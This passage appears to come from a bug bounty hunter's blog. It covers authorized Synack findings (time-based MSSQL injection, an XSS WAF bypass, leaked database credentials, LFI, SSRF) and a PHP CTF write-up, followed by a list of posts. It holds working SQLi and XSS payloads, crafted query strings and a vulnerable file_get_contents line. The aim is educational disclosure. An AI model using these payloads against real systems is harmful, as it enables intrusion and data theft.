The host where I confirmed SQLi was api-gateway-c.[REDACTED].com. However, there was another host in scope which was very similar to our host. The other host was api-gateway.[REDACTED].com. I checked if the auth token obtained from api-gateway-c.[REDACTED].com worked on api-gateway.[REDACTED].com and to my surprise, it actually did!

I checked if the endpoints where I confirmed SQL injection was present on api-gateway.[REDACTED].com or not. The endpoints were actually present! I sent the SQL injection payload '-- - to the new host and the server sent 400 again. This successfully confirmed that the new server was also vulnerable to SQL injection and was not protected with WAF. This allowed me to enumerate the database freely without any issues.

The issues are still not resolved. For some reason, sqlmap did not detect the injection point so I decided to manually enumerate the database.

I could get the server to delay response using a payload like '; WAITFOR DELAY '00:00:10'-- -.

Now, I needed to find a way to dump data using the delay. For that, I used MSSQL’s IF statement. I constructed a payload that delayed the webserver for 10 seconds if the database username started with the character that I supplied. For example, the server would sleep for 10 seconds if the first letter of the database username was ‘A’.

The payload that I constructed was as follows:

IF((SELECT SYSEM_USER) LIKE '%') WAITFOR DELAY '00:00:10'

I enumerated the whole database username this way. One character at a time. To enumerate one single character, it required me to send 64 requests. However, thanks to Burp Suite’s Intruder, I did not have to manually change the character and send 64 times. I just created a wordlist of lowercase and uppercase characters along with - and _ as special characters and gave it to Intruder. Then, I sorted the results by the Response received column.

After running the Intruder 10 times, we get the 10 characters long database username.

Normally, Synack Red Team requires actual table dumps to accept an SQL injection vulnerability. But in this case, they still accepted without me showing the database dumps because of the ridiculously slow data retrieval.

Reflected XSS via E-Mail parameter with ASP.NET WAF Bypass

I detect XSS vulnerabilities using a fairly simple payload like d0mxss'"><. This payload allows me to find out the context in which the input is reflected. I used the same payload to detect this XSS. The payload was reflected in an input tag like:

<input name="E-mail" value="d0mxss'"><">

The ASP.NET WAF blocked common payloads like " onclick="alert(1). To bypass the WAF, I used the following payload:

" onmouseenter="alert(document.domain)

The above payload will make the reflected HTML look like:

<input name="E-mail" value="" onmouseenter="alert(document.domain)">

When the user moves the pointer above the E-mail input, the XSS gets triggered.

This was a really lame vulnerability that should not exist at all. All the authentication mechanism was implemented in the frontend using JavaScript and no checking was done on the backend whatsoever. Even a simple login request was not sent to the backend.

When we visited the web application, the application asked for a password in a JavaScript prompt. However, if we just click “cancel” in the JavaScript prompt, we get access to the user interface.

In fact, the UI had the functionality to execute SQL statements and all of this was possible by just clicking “cancel”.

Access Control Issue Allows To Execute SQL Statements

This was the same UI that we talked about in the previous vulnerability. I felt like a normal user should not be able to access the UI to execute SQL statements. This was because the interface was at the /admin endpoint and this endpoint was discovered from JavaScript files and there were not any links/references to this endpoint in the UI.

I found this concerning so I reported this issue and they actually accepted it considering it valid.

/connectors endpoints leaking Database Connection Information

When doing directory brute force with the raft-small-words.txt wordlist provided in the SecLists, I came across an endpoint called /connectors. When visited, this endpoint listed the following connectors:

jdbc_sink_auroradb
local-file-sink
mdb_sink_new
s3_sink_sf_case_cdc1
test-vk

I then felt like these connectors should be accessible via URL. So, I visited the following URL: http://[REDACTED]/connectors/jdbc_sink_auroradb. And the endpoint listed the PostgreSQL credentials. I checked for PostgreSQL instances on the network if there were any.

To find PostgreSQL servers, I ran the following masscan command:

sudo masscan -iL scope.txt -p 5432

In the masscan result, there were a couple of IPs. I used the credentials obtained from the /connectors endpoint to log into these servers. And, the credentials actually worked!

For logging in, I used the following command:

psql -h [REDACTED] -p 5432 -U root postgres

Local File Inclusion In download.php

I found the download.php file being reported as an SSRF in the analytics. However, it was rejected. I then investigated a bit more and found out that the download.php takes a GET parameter named f and the value of f is a file that will be retrieved by the PHP script. Upon investigating the LFI, I found out that the script had the following line in the source code:

file_get_contents($_GET['f']);

So, I just put f=download.php to show the PoC.

SSRF Allowing To Access Internal Service

This was a vulnerability in Oracle Application Server 10g Mapviewer.

For proof of concept, I performed a full port scan of the server to confirm that the 8002 port was not exposed to the internet. I then put the URL http://127.0.0.1:8002/mapviewer/omserver as the Mapviewer URL and submitted the request. The request succeeded and a response was received from the 8002 port confirming the SSRF vulnerability.

If we provided a port that was not open or did not serve HTTP, the response timed out.

Pre-auth Server Side Request Forgery

This was a nuclei finding.

This was however interesting because the same day, I was onboarded on two different programs from the same organization. One was an internal test meaning we had to test their internal network that is not reachable by the public. And the other was an external test that had public-facing IPs.

One of such public-facing IPs was vulnerable to Microsoft Exchange’s CVE-2021-26855. This was a pre-auth SSRF and you can find the PoC on the internet.

I could have reported this right away but I felt like I should fully exploit the impact of an SSRF. So, I took the list of IPs from the internal test and put them into the SSRF exploit to find out the HTTP servers.

Synack’s VPN was not correctly configured and the internal IPs were not accessible by us. However, by exploiting this SSRF, I could reach those IPs as well.

From this point, I did not go ahead to enumerate these IPs as post-exploitation is not allowed on Synack Red Team.

Reported the issue and won the quality round.

Thanks for the read. :)

You can reach out to me at @kuldeepdotexe.

Prove Yourself as 1337 Null Ahmedabad

Sat, 15 Jan 2022 18:35:22 +0530

Null community is an open security community where pen-testers, bug bounty hunters, students, security researchers come under the same roof and exchange knowledge. One of its chapter in Ahmedabad had CTF this 22nd. They made the CTF online and I was a volunteer of the community so it was obvious I was going to participate in it.

It had 6 challenges in total. Two web challenges, one binary exploitation, one steganography, one crypto, and one steganography + cryptography combined.

This writeup is about a web challenge named “Prove yourself as 1337”. It was of 550 points, the highest of all challenges in the CTF. And looking at the difficulty it had, I think that even 550 points are less.

Initially, there was an URL which leads to a web application. Below is the initial description of the challenge. It was sure that brute-forcing the parameters isn’t going to work as it was written: “don’t waste time”. Also, it was said that: “A variable can lead to source code of index.php if set”. So, it gave us a hint that the variable might be boolean.

Now, as opening the URL gives, there was the following screen:

It took two inputs, one username, and password. I supplied 1337 and 1337 as username, password pair and I found a really interesting thing in the URL. So, two inputs were visible but it actually took 5 inputs out of which three were hidden.

The URL was: http://165.22.218.145/buggy/?username=1337&password=1337&random1=65616f96af8b27efd6c16f5249e58700&random2=7ec7e3cb456c9f07229df3fd1127ed42&source=0

Here, username and password were as it were. random1 and random2 were some random hash like values. And then there was a parameter named “source” and it was set to 0. I quickly figured out that this has something to do with the source code. I remembered the challenge description and it said, “A variable can lead to source code of index.php if set” so now I knew that I need to “set” this variable. I changed the value of it to 1 from 0 and it showed me the source code.

I saw that there was a lot of md5 logic going on in the source code. I was wondering if this was a web challenge or a crypto challenge.

The flags were coming from some other PHP script called as “flag.php”. I tried accessing it directly but no luck! There were three flags in total which; when concatenated, forms one final flag. Each of these individual flags had some conditions behind them. Which means the flag will be concatenated only if the condition falls true. There were three different conditions.

Condition #1

In this, flag1 was concatenated to final_flag only if random1 and random2 variables were not identical but the hash of random1 variable concatenated with some secret variable called salt was identical to the hash of random2 variable concatenated with the salt. But one of the aims of hashes says that “Two different values must not produce the same hash”. So, looks like we are stuck here, or are we? However, here is an attack called hash collision attack which I quickly remembered in which two different values produce the exact same hash. I googled a lot to find such strings and I actually found them. But they were in binary format and we cannot pass it in the query string. I spent hours and hours searching for such strings but no luck.

Then the other web challenge clicked in my head which was exploiting the type conversion of PHP(but not type juggling). Type conversion fails and gives a warning when supplying the incompatible type and did not throw and error. I checked in the PHP documentation of md5() and saw it takes a string as an input. Then I wondered what if I supply array as an input to the function like I did in the previous challenge. I changed random1=65616f96af8b27efd6c16f5249e58700 and random2=7ec7e3cb456c9f07229df3fd1127ed42 to random1[]=65616f96af8b27efd6c16f5249e58700 and random2[]=7ec7e3cb456c9f07229df3fd1127ed42 and the application threw the first part of the flag.

Condition #2

Here, the first condition satisfies if both username and password are not empty. Then, username and password are concatenated and stored in a string called concat. Now, the second condition satisfies if the md5 hash of the concatenated string was equal to the string itself. But how is this even possible? We have learned that hash(string) ≠ string. But here, another PHP specific vulnerability lies here. And that was, yes as you have already guessed it, “Type Juggling”. Type juggling was introduced as a feature of PHP but turned out to be a critical authentication vulnerability. It means, type of variable is decided upon the context it is used in. Which means, if (“0e001234”==“0”) {} will return true even if they are not the exact same values.

So, I needed to find such a value that it’s hash’s first one-digit are the same as the value’s first digit in order to make the condition true. It was a difficult process to do it all manually so I created a simple python script and ran it which eventually crashed my computer. I googled a lot to find such strings but could not find anything. I was out of luck. Then I decided to take a hint from the CTF platform which cost me 150 points but in turn returned me a “working” script which did not crash my computer. I ran it and in like 10 minutes, the number was there!!!

username=0e2159&password=62017&random1[]=65616f96af8b27efd6c16f5249e58700&random2[]=7ec7e3cb456c9f07229df3fd1127ed42&source=1

I put half of the number in username variable and the other half in password variable as they both were concatenated. And boom! Got the second part of the flag!

Condition #3

First of all, here is a call to the parse_str() function which parses query string into an array called as res. I could not think of anything in this part of the challenge. I scratched my head for hours. Then I looked up for vulnerabilities in parse_str() function as the last attempt. And it actually had a vulnerability. So, we can overwrite any already existing variable by passing it in a query string which was later parsed by parse_str(). So, I supplied the hash given in the source code as the value of the hashed variable using the query string:

username=0e2159&password=62017&random1[]=65616f96af8b27efd6c16f5249e58700&random2[]=7ec7e3cb456c9f07229df3fd1127ed42&source=1&hashed=ba6e12df1edab45f11f70b547dba9959

And, finally, after hours of hard work, the flag was there!!!

It was a really fun challenge to solve. Kudos to everyone who made this CTF possible.

Posts on kuldeepdotexe's blog

Cache Deception Without Path Confusion

The Basics

Path Confusion

Web Caching

Cache Keys

Web Cache Deception

Discovery

Exploit

Limitations

WCD On A Synack Target

Initial Observations

Crafting The Exploit

References And Further Reading

Defeating Length Filters to Dump the Database - SQLi

Discovery

Running SQLMap And Discovering The Balanced Query

Payload Explanation

Discovering Length Filter

Dumping The Database Name

Payload Explanation

Dumping The Table Name

Finding A Way To Use Limits And Offsets

Finding The Shortest Possible Payload

Successfully Dumping Table Names

Guessing Column Names

Dumping The Rows

Takeaways

Escalating Privileges With SSRF

Application Overview

Initial Discovery

Initial Assumption and Its Limitations

Bypassing The Blacklist To Achieve A Partial SSRF

Attempting To Understand JWT

Finding Services To Use The JWT

Finding Even More (Scarier) SSRFs

Conclusion/Takeaways

Full Disclosure - DOM-based XSS And Failures In Bug Bounty Hunting

Findings:

1. DOM XSS In REDACTED.example.com Due To Insecure Dynamic Resource Loading Via eUrl Parameter

Summary:

Introduction:

Description:

Steps To Reproduce:

Recommendations

Supporting Material/References:

Impact

2. CSS Injection?

Conclusion/Takeaways

Holiday Hunting With Aquatone

SSRF Allowing To Access Google VM Metadata

SSRF Allowing To Access Internal Ports

Exposed XXXX Portal Revealing Tickets

Takeaways

Second Order XXE Exploitation

NoSQL Injection in Plain Sight

Path Traversal Paradise

Submissions

Descriptions

Path Traversal Vulnerability Leads To Source Code Disclosure

Local File Inclusion in VMWare VCenter running at [REDACTED]

Spring Boot Path Traversal - CVE-2020-5410

Local File Inclusion In download.php

Path Traversal Allows To Download Licence Keys

120 Days of High Frequency Hunting

Submissions

Analysis

Brief Descriptions

AC in /reports/posts.php Leaking PII

Misconfigured Web Server Leaks Admin Functionalities In 302 Response Body

Multiple Time Based SQL Injections

Reflected XSS via E-Mail parameter with ASP.NET WAF Bypass

Login Authentication Bypass In Client Side UI

Access Control Issue Allows To Execute SQL Statements

/connectors endpoints leaking Database Connection Information

Local File Inclusion In download.php

SSRF Allowing To Access Internal Service

Pre-auth Server Side Request Forgery

Prove Yourself as 1337 Null Ahmedabad

Condition #1

1. DOM XSS In `REDACTED.example.com` Due To Insecure Dynamic Resource Loading Via `eUrl` Parameter